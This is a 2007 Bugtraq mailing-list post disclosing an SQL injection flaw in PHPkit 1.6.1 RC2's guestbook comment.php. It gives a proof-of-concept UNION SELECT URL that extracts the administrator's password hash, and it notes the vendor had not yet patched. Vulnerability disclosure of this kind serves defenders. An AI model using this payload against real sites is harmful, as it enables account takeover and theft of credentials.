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Date: 9 Jan 2007 03:45:35 -0000
From: yorn@...rymail.net
To: bugtraq@...urityfocus.com
Subject: Re: PHPKit 1.6.1 RC2 (faq/faq.php) Remote SQL Injection Exploit

Pretty much the same, but for completeness... ;-)

QL Injection in PHPkit 1.6.1 R2
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Discovered on 09.01.2007 by yorn.


Description:
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http://www.phpkit.de/

PHPkit is a php/sql based portal software.


Problem:
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SQL Injection:
There are multiple SQL injections in PHPkit. Just check bugtraq.
I think that this is a "new" one, so here we go:

The "Gästebuch" is prone to a sql injection vulnerablility 
in comment.php. It is possible to gain access to the admin 
password hash:

POC:
comment.php&comcat=gb&subid=-1'%20UNION%20SELECT%201,1,1,1,1,1,user_pw,1%20from%20PHPKIT_USER_TABLE%20where%20%20user_id=1/*

Vendor Status:
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Vendor has been informed on the date of discovery. Not patched yet.

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